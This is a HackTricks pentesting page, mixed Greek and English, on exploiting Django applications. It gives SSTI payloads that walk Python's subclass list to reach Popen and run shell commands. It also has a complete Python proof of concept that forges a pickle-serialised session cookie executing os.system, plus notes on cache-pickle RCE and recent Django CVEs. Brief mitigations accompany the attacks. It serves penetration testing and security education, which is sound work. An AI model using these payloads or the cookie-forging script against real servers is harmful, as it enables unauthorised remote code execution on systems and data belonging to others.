Django
Reading time: 6 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Cache Manipulation to RCE
Η προεπιλεγμένη μέθοδος αποθήκευσης της cache του Django είναι Python pickles, η οποία μπορεί να οδηγήσει σε RCE εάν untrusted input is unpickled. If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server.
Η cache του Django αποθηκεύεται σε ένα από τέσσερα μέρη: Redis, memory, files, ή μια database. Η cache που αποθηκεύεται σε Redis server ή database είναι οι πιο πιθανές επιθέσεις (Redis injection και SQL injection), αλλά ένας attacker μπορεί επίσης να χρησιμοποιήσει file-based cache για να μετατρέψει μια arbitrary εγγραφή σε RCE. Οι maintainers έχουν χαρακτηρίσει αυτό ως μη-ζήτημα. Είναι σημαντικό να σημειωθεί ότι ο φάκελος αρχείων της cache, το όνομα του SQL table και οι λεπτομέρειες του Redis server θα διαφέρουν ανάλογα με την υλοποίηση.
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
Server-Side Template Injection (SSTI)
The Django Template Language (DTL) is Turing-complete. If user-supplied data is rendered as a template string (for example by calling Template(user_input).render()
or when |safe
/format_html()
removes auto-escaping), an attacker may achieve full SSTI → RCE.
Detection
- Ψάξτε για δυναμικές κλήσεις σε
Template()
/Engine.from_string()
/render_to_string()
που περιλαμβάνουν οποιαδήποτε unsanitised request data. - Στείλτε ένα time-based ή arithmetic payload:
{{7*7}}
If the rendered output contains 49
the input is compiled by the template engine.
Primitive to RCE
Django blocks direct access to __import__
, but the Python object graph is reachable:
{{''.__class__.mro()[1].__subclasses__()}}
Βρείτε τον δείκτη του subprocess.Popen
(≈400–500 ανάλογα με το build του Python) και εκτελέστε αυθαίρετες εντολές:
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
Ένα πιο ασφαλές καθολικό gadget είναι να επαναλαμβάνετε μέχρι το cls.__name__ == 'Popen'
.
Το ίδιο gadget λειτουργεί για τις δυνατότητες rendering των template του Debug Toolbar ή του Django-CMS που χειρίζονται λανθασμένα την είσοδο χρήστη.
Δείτε επίσης: ReportLab/xhtml2pdf PDF export RCE
Εφαρμογές που βασίζονται στο Django συνήθως ενσωματώνουν xhtml2pdf/ReportLab για εξαγωγή views ως PDF. Όταν HTML υπό έλεγχο χρήστη ρέει στη δημιουργία PDF, το rl_safe_eval μπορεί να αξιολογήσει εκφράσεις μέσα σε triple brackets [[[ ... ]]]
, επιτρέποντας εκτέλεση κώδικα (CVE-2023-33733). Λεπτομέρειες, payloads, και mitigations:
Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733
Pickle-Backed Session Cookie RCE
Εάν η ρύθμιση SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
είναι ενεργή (ή χρησιμοποιείται ένας custom serializer που απο-σειριοποιεί pickle), το Django decrypts and unpickles το session cookie πριν καλέσει οποιονδήποτε κώδικα view. Επομένως, η κατοχή ενός έγκυρου signing key (από προεπιλογή το project SECRET_KEY
) αρκεί για άμεση remote code execution.
Exploit Requirements
- Ο server χρησιμοποιεί
PickleSerializer
. - Ο επιτιθέμενος γνωρίζει / μπορεί να μαντέψει το
settings.SECRET_KEY
(leaks via GitHub,.env
, error pages, κ.λπ.).
Proof-of-Concept
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
Στείλτε το προκύπτον cookie, και το payload εκτελείται με τα δικαιώματα του WSGI worker.
Μέτρα αντιμετώπισης: Διατηρήστε τον προεπιλεγμένο JSONSerializer
, ανανεώστε το SECRET_KEY
, και ρυθμίστε το SESSION_COOKIE_HTTPONLY
.
Πρόσφατες (2023-2025) CVEs του Django υψηλού αντίκτυπου που θα πρέπει να ελέγξουν οι Pentesters
- CVE-2025-48432 – Log Injection via unescaped
request.path
(fixed June 4 2025). Επιτρέπει σε επιτιθέμενους να εισάγουν newlines/ANSI codes σε log files και να μολύνουν downstream log analysis. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2. - CVE-2024-42005 – Critical SQL injection in
QuerySet.values()/values_list()
onJSONField
(CVSS 9.8). Craft JSON keys to break out of quoting and execute arbitrary SQL. Fixed in 4.2.15 / 5.0.8.
Πάντα κάντε fingerprint της ακριβούς έκδοσης του framework μέσω της σελίδας σφάλματος X-Frame-Options
ή του hash του /static/admin/css/base.css
και δοκιμάστε τα παραπάνω όπου εφαρμόζεται.
Αναφορές
- Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
- OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
- 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – https://0xdf.gitlab.io/2025/08/09/htb-university.html
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.